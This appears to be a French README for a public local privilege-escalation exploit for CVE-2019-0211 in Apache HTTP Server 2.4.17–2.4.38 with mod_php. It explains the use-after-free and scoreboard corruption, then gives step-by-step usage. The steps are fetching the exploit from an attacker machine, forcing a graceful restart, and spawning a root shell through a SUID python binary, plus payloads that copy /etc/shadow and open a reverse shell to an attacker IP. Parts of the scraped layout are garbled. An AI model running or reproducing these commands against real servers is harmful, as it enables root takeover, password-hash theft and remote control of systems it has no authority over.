
Exploit d'élévation de privilèges locale pour CVE-2019-0211 ciblant Apache HTTP Server 2.4.17-2.4.38 avec mod_php. Utilise une UAF (Use-After-Free) dans PHP pour corrompre le scoreboard d'Apache et exécuter des commandes arbitraires en tant que root via un redémarrage graceful.
CVE-2019-0211 est une vulnérabilité d'élévation de privilèges locale affectant Apache HTTP Server entre les versions 2.4.17 et 2.4.38 avec mod_prefork et mod_php (ou PHP-FPM).
La vulnérabilité permet à un attaquant disposant d'un shell en tant que www-data d'élever ses privilèges à root via une combinaison d'Use-After-Free (UAF) dans PHP et de corruption du scoreboard d'Apache. Lorsqu'Apache effectue un graceful restart (par exemple, via logrotate à 6h25), il exécute child_init() avant d'abandonner les privilèges. Si nous parvenons à corrompre le pointeur vers cette fonction, nous pouvons faire exécuter à Apache une commande arbitraire en tant que root.
CVSS 3.1 : 7.8 (HIGH) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Apache utilise une région de mémoire partagée appelée scoreboard où chaque processus fils worker possède une structure process_score avec un pointeur bucket vers prefork_child_bucket. Ce bucket contient un apr_proc_mutex_t avec des pointeurs vers des fonctions (meth->child_init()).
Lorsqu'Apache effectue un graceful restart (déclenché naturellement à 6h25 par logrotate), il appelle child_init() avant d'abandonner les privilèges. L'exploit :
DateInterval et la sérialisation JSON/proc/self/maps pour localiser le scoreboard (SHM dans /dev/zero)all_buckets dans la mémoire d'Apachemeth->child_init() vers system()Charles Fol — @cfreal_
Article original : CARPE DIEM — CVE-2019-0211 Apache Local Root
www-data sur le serveur.php dans un répertoire servi par Apache# 1. Envoyer l'exploit sur le serveur vulnérable
# Depuis votre machine attaquante :
python3 -m http.server 8080
# Sur le serveur (en tant que www-data) :
cd /var/www/html
wget http://VOTRE_IP:8080/carpediem.php
# 2. Exécuter l'exploit
curl http://localhost/carpediem.php
# 3. Attendre qu'Apache fasse un graceful restart
# Option A) Attendre 6h25 (logrotate automatique)
# Option B) Forcer logrotate si vous avez les droits :
sudo /usr/sbin/logrotate /etc/logrotate.conf --force
# 4. Vérifier que python3.5 est maintenant SUID root
ls -la /usr/bin/python3.5
# Sortie attendue : -rwsr-sr-x 2 root root ...
# 5. Élever les privilèges à root
python3.5 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Vous pouvez changer la commande exécutée en tant que root en utilisant le paramètre cmd :
# Exemple : copier /etc/shadow
curl "http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/"
# Exemple : reverse shell
curl "http://localhost/carpediem.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/VOTRE_IP/PORT+0>%261'"
| Workers |
|---|
Plus de workers = taux de réussite plus élevé.
/proc/self/maps via hidef ou AppArmor/SELinux| Champ | Valeur |
|---|
| CVE | CVE-2019-0211 |
| Produit | Apache HTTP Server |
| Versions affectées | 2.4.17 – 2.4.38 |
| Type | Élévation de privilèges locale (CWE-269) |
| Prérequis | Shell en tant que www-data, Apache avec mod_php, MPM prefork/worker/event |
| CVSS 3.1 | 7.8 HIGH |
| Correctif | Apache 2.4.39 |
| Succès |
|---|
| Tentatives |
|---|
| Échecs |
|---|
| 5 (defaut) | 87% | 177 | 26 |
| 8 | 89% | 60 | 8 |
| 10 | 95% | 70 | 4 |